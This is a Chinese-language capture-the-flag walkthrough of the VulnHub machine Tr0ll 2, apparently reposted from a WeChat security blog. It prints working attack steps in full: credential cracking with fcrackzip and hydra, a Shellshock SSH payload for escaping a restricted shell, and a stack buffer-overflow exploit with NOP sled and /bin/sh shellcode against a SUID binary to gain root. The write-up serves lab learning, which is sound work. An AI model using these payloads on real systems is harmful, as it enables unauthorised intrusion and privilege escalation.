一、将靶机导入虚拟机
下载Tr0ll:2
链接:https://pan.quark.cn/s/1e50c49f1306
二、探测靶机IP(进行信息收集)
nmap -sS -sV -T4 192.168.253.0/24 -A
使用 -A
可以一次性获取目标主机更多的信息,如操作系统类型、开放服务的详细信息、潜在的安全漏洞等
三、进行目录枚举
dirb http://192.168.253.139
四、到网页进行信息收集(80端口)
查看网页源代码,给了一个用户名Author:Tr0ll 第一次猜测密码:VIM,第二次猜测没有密码,后面才知道密码是Tr0ll,用户名和密码是一样的
在进行目录枚举的时候看到robots.txt
cgi-bin无权限访问
server-staus无权限访问
五、尝试ftp登录
根据上面的用户和密码进行尝试,用户名:Tr0ll 密码:Tr0ll
发现一个lmao.zip文件
发现要密码,密码也不是Tr0ll,之前的网页应该还有信息被遗漏,robots.txt的目录还没有尝试去枚举
先下载下来
wget http://192.168.253.139/robots.txt
修改好
再次取用dirb进行目录枚举
dirb http://192.168.253.139/ robots.txt
挨个去看看,发现这四个都是一样的图片,但是路径不一样,去下载下来
http://192.168.253.139/noob/
http://192.168.253.139/keep_trying/
http://192.168.253.139/dont_bother/
http://192.168.253.139/ok_this_is_it/
把图片都下载下来,复制图像链接,wget下载
下载下来后,挨个strings,简单的misc
strings cat_the_troll.jpg
strings cat_the_troll.jpg.1
strings cat_the_troll.jpg.2
strings cat_the_troll.jpg.3
在strings cat_the_troll.jpg.2的时候发现Look Deep within y0ur_self for the answer(深入审视你自己以寻找答案),这里的y0ur_self应该是个目录,进去看看
进入y0ur_self目录,发现有个answer.txt
answer.txt里都是Base64
wget http://192.168.253.139/y0ur_self/answer.txt
六、使用fcrackzip进行爆破
base64 -d answer.txt > decode.txt
解码
fcrackzip -D -p /home/yzy/Desktop/decode.txt -u lmao.zip
ItCantReallyBeThisEasyRightLOL
解压之后得到一个noob文件,是个RSA密钥
hydra -l Tr0ll -P decode.txt 192.168.253.139 ssh -v
Tr0ll为用户名,要小写l,如果是用户名的文本就要大写的L
小写的p是指定密码,大写P是指定密码文件
发现爆破不出来
七、ssh公钥登录失败报错
由于靶机的ssh版本太低,而kali的ssh版本过高,所以就会出现连接不上的问题
sign_and_send_pubkey: no mutual signature supported
客户端和服务器 SSH 版本不兼容
去网上查找解决方法
首先要设置文件的权限
chmod 600 noob
cd ~/.ssh
vim config
写入PubkeyAcceptedKeyTypes +ssh-rsa,保存退出
然后再重新去连接
或者直接输入
ssh -i noob -o "PubkeyAcceptedKeyTypes=ssh-rsa" [email protected]
没发现什么有用的信息
利用shellshock漏洞
参考文章 绕过Linux受限Shell环境的技巧
ssh [email protected] -i noob -t '() { :;}; /bin/bash'
-
-i noob
:指定私钥文件noob
进行身份验证 -
-t
:强制分配伪终端(即使没有本地终端) -
'() { :;}; /bin/bash'
:远程执行的 shell 命令
反弹成功后,随便看一下没发现什么,返回最上层目录去看看
一眼看到一个nothing_to_see_here(这里没有什么),那必须去看看了
find / -perm -4000 -print 2>/dev/null
进去后发现有三个门,door1执行直接重启
door2要加入参数,这里就很奇怪了
door3直接重启断开连接
八、gdb调试
gdb在写pwn的时候是每次都用的,进行一些调试,断点,变量修改,程序启动时,可以按照自定义的要求运行程序,如b main,在main函数处断点,还可以查看栈空间,如x $rbp-0x8
会显示当前函数的栈帧中,距离基址指针 $rbp
偏移 8 个字节处的内存内容,如r是run的缩写,运行的意思
使用gdb去调试
door1
door2
发现strcpy函数
doo3
发现只有door1有一个strcpy函数,可能造成缓冲区溢出,这时就可以用cyclic,或者pattern create去创建一个合适的字符长度的字符串,去计算偏移,但是这里并没有cyclic和pattern这些工具,直接去外面创建好,一般在写pwn题的时候进行调试用cyclic和pattern用的多,在kali里面用msf自带的插件,我这里生成了1200个,但生成1000,500都可以进行溢出
cd /usr/share/metasploit-framework/tools/exploit/
./pattern_create.rb -l 1200
出现程序报错中断,将报错的地址复制下来计算溢出偏移(0x6a413969)
使用msf的pattern_offset.rb反查 0x6a413969 对应上面的字符中的偏移量
./pattern_offset.rb -q 0x6a413969
-q 一般表示 “查询(query)”,是告知脚本需要查找某个特定值在模式字符串中的偏移位置
这里发现偏移268,查看内核信息,是i686,说明是32位系统,32位占4个字节,64位占8个字节,而这里是32位,从ebp(栈底)开始要加上栈底,所以要加上4,如果64位则加8
-
esp:寄存器存放当前线程的栈顶指针 -
ebp:寄存器存放当前线程的栈底指针 -
eip:寄存器存放下一个CPU指令存放的内存地址,当CPU执行完当前的指令后,从EIP寄存器中读取下一条指令的内存地址,然后继续执行
通过字符串的地址知道偏移量为268,前面有268个,现在是269,到272就是eip,
r $(python -c 'print "A"*268 + "B"*4')
#Python 代码生成 268 个 'A' 字符 + 4 个 'B' 字符作为输入参数
info r
#info registers,用于查看寄存器状态
发现确实是A和B
在后面再加几个字符,看看到哪一个寄存器
r $(python -c 'print "A"*268 + "B"*4+ "C"*20')
可以看到esp
九、查看 ASLR 的开启状态并提权
cat /proc/sys/kernel/randomize_va_space
值为 0:表示 ASLR 被禁用,栈地址不会随机化
值为 1:表示部分随机化,栈、堆和共享库的地址会进行一定程度的随机化
值为 2:表示完全随机化,提供更高级别的保护
这里并没有开,但是如果开了,我们可以通过nop sled,即使没开,也可以添加nop sled,容错率更高
就比如当攻击失败时,nop sled
可以帮助缩小排查范围,如果程序执行到了 nop sled
但没有进入 shellcode
,那么问题可能出在 shellcode
本身;如果程序没有执行到 nop sled
,则可能是返回地址设置有误
因为当我们进行缓冲区溢出攻击时,要精确控制程序执行流跳转到我们注入的 shellcode
起始位置是比较困难的。这是因为在不同的环境下(如不同的系统、不同的程序运行状态),内存布局可能会有细微的变化,导致我们计算的 shellcode
地址可能会有偏差,nop sled
由一系列的空操作指令(在 x86 架构中,空操作指令是 nop
,机器码为 0x90
)组成,当程序执行流跳转到 nop sled
区域时,会依次执行这些空操作指令,直到遇到真正的 shellcode
,这样即使跳转地址有一定的偏差,只要落在 nop sled
范围内,程序最终还是会执行到 shellcode
,从而增加了攻击成功的概率
这是一个Shellcode 资源库
https://shell-storm.org/shellcode/index.html
./r00t $(python -c 'print "A"*偏移量 + "esp起始地址" + "nop sled"*20 + "shellcode"')
./r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*20 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
提权成功
原文始发于微信公众号(泷羽Sec-临观):打靶日记 VulnHub靶机 Tr0ll 2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论